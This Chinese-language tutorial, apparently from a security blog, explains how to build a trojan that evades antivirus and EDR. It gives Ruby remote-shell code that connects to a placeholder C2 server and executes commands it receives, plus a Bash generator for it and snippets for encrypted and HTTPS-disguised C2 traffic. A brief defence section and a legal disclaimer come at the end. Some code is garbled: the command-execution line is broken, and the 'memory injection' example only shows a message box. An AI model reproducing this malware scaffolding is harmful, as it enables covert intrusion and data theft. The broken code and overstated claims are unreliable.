一、从勒索攻击说起
近期,一家全球知名企业因遭受网络攻击而陷入瘫痪。后续调查发现,攻击者利用了一种高度隐秘的免杀远控木马,绕过了多种主流的EDR和杀毒软件。企业内网的敏感数据被窃取,且攻击者在网络中潜伏了数月未被发现。这一事件再次让安全团队意识到远控木马免杀技术的威胁。这篇文章将深入探讨如何构造免杀远控木马,并分享技术细节和实战心得。
---
0x01 攻击者的思维:绕过防御的核心
要理解远控木马的免杀技术,首先要从攻击者的视角出发:如何构造一个能够隐秘运行的载荷,同时绕过各种检测机制?一般来说,攻击者会从以下几个维度进行优化:
- 混淆与加密:使用代码混淆和加密技术隐藏恶意逻辑;
- 内存加载:直接加载到目标进程内存中,避免硬盘落地;
- 系统 API 滥用:利用合法的系统 API 实现恶意功能,降低可疑性;
- 流量伪装:采用类似HTTPS加密或其他协议伪装C2通信流量;
- 动态编译与运行:生成随攻击环境变化的动态载荷,避免特征匹配。
基于这些思路,我们来探讨如何从零开始搭建一个免杀远控木马。
---
0x02 构造实验环境:模拟攻防场景
为了实验免杀技术的效果,我们需要搭建一个攻防环境。以下是一个简单的环境设置方案:
环境准备
- 攻击机:安装 Kali Linux 或 Parrot OS,用于开发和测试免杀木马。
- 目标机:Win10/Win11,关闭Windows Defender,并安装主流EDR软件(如CrowdStrike、Carbon Black)。
- C2服务器:一台具有公网IP的VPS,用于远控通信。
核心工具
- 远控框架:Metasploit、Sliver 或自开发的木马(我们选择 Ruby 开发)
- 混淆工具:Shell script 和加密工具(如AES加密)
- 检测工具:Sysmon、Wireshark,用于流量和行为分析。
搭建好环境后,我们可以开始构造免杀木马。
---
0x03 Payload构造的艺术:Ruby与Shell的结合
我们选用 Ruby 作为主要木马构造语言。Ruby 的灵活性和简洁性使其非常适合快速开发和测试。同时,通过 Shell 脚本进行辅助,可以实现更强的免杀能力。
Ruby木马代码
以下是一个基础的远控木马代码,用 Ruby 实现:
<pre><code class="language-ruby">require 'socket' require 'openssl'

配置 C2 地址和端口
C2_HOST = 'your-c2-server.com' C2_PORT = 443
加密传输,使用 AES
def encrypt(data, key) cipher = OpenSSL::Cipher::AES.new(256, :CBC) cipher.encrypt cipher.key = key cipher.iv = key[0..15] cipher.update(data) + cipher.final end
def decrypt(data, key) decipher = OpenSSL::Cipher::AES.new(256, :CBC) decipher.decrypt decipher.key = key decipher.iv = key[0..15] decipher.update(data) + decipher.final end
建立与 C2 的通信
begin key = 'th1s1s4s3cretk3y!' # 密钥硬编码(可动态生成) socket = TCPSocket.new(C2_HOST, C2_PORT)
初始握手
socket.puts encrypt("HELLO_FROM_CLIENT", key)
while true data = socket.gets cmd = decrypt(data.chomp, key) output = #{cmd} # 执行系统命令 socket.puts encrypt(output, key) end rescue => e puts "Connection failed: #{e.message}" ensure socket.close if socket end</code></pre>
Shell混淆代码
为了进一步混淆和免杀,我们可以通过 Shell 动态生成 Ruby 木马代码:
<pre><code class="language-bash">#!/bin/bash
动态生成 Ruby 木马
echo "Generating Ruby payload..." cat <<EOF > payload.rb require 'socket' require 'openssl'
C2_HOST = 'your-c2-server.com' C2_PORT = 443 key = ENV['PAYLOAD_KEY'] # 从环境变量读取密钥
def encrypt(data, key) cipher = OpenSSL::Cipher::AES.new(256, :CBC) cipher.encrypt cipher.key = key cipher.iv = key[0..15] cipher.update(data) + cipher.final end

def decrypt(data, key) decipher = OpenSSL::Cipher::AES.new(256, :CBC) decipher.decrypt decipher.key = key decipher.iv = key[0..15] decipher.update(data) + decipher.final end
begin socket = TCPSocket.new(C2_HOST, C2_PORT) socket.puts encrypt("HELLO_FROM_CLIENT", key) while true data = socket.gets cmd = decrypt(data.chomp, key) output = #{cmd} socket.puts encrypt(output, key) end rescue => e puts "Connection failed: #{e.message}" ensure socket.close if socket end EOF
echo "Payload generated successfully!"</code></pre>
该 Shell 脚本动态生成的 Ruby 木马会读取环境变量中的密钥,从而避免硬编码的特征。
---
0x04 绕过检测:免杀技术的核心
构造好木马后,下一步是绕过EDR和杀毒软件。以下是几种核心免杀技术:
1. 内存加载
通过工具(如Reflective DLL Injection)直接将木马加载到目标进程的内存中,不在硬盘上留下任何痕迹。
Ruby 代码实现:
<pre><code class="language-ruby"># 使用 FFI 库加载 DLL 到内存 require 'ffi'
module Inject extend FFI::Library ffi_lib 'user32' attach_function :MessageBoxA, [:pointer, :string, :string, :uint], :int end
调用目标进程的 MessageBoxA
Inject.MessageBoxA(nil, "Payload loaded successfully!", "Info", 0)</code></pre>
2. 动态加密
在传输中动态生成加密密钥,避免固定的特征被检测:
<pre><code class="language-ruby">require 'securerandom'
key = SecureRandom.hex(16) # 动态生成 256-bit 密钥 puts "Generated key: #{key}"</code></pre>
3. 流量伪装
使用合法的协议(如HTTPS)伪装通信流量,提升隐蔽性。可以通过 Ruby 的 OpenSSL 库实现:
<pre><code class="language-ruby">require 'net/http' require 'openssl'
uri = URI("https://your-c2-server.com") http = Net::HTTP.new(uri.host, uri.port) http.use_ssl = true http.verify_mode = OpenSSL::SSL::VERIFY_NONE
request = Net::HTTP::Post.new(uri) request.body = encrypt("PING", key) response = http.request(request) puts decrypt(response.body, key)</code></pre>
---
0x05 攻与防的博弈:检测与反制

对于安全团队而言,免杀远控木马的检测非常困难,但以下方法可以降低风险:
1. 行为异常检测
通过 Sysmon 和事件分析,发现异常行为。例如:频繁的内存映射、异常的网络连接。
2. 流量分析
使用 Wireshark,对C2通信流量进行分析。尽管攻击者可能使用HTTPS加密,但可以排查目标IP和域名。
3. 沙箱分析
将疑似文件放入动态分析沙箱中,观察其行为和网络通信模式。
---
0x06 深入的个人经验分享
从我的经验来看,构造免杀远控木马的关键在于灵活性和动态性。攻击者不会满足于一种固定的技术,而是不断调整策略以绕过防御。因此,作为安全工程师,我们不能仅仅依赖工具,还需要培养攻击者的思维,才能更全面地应对威胁。
最后提醒大家,任何涉及免杀技术的研究都必须严格遵守法律,禁止在未经授权的情况下使用相关技术,否则可能承担法律风险。
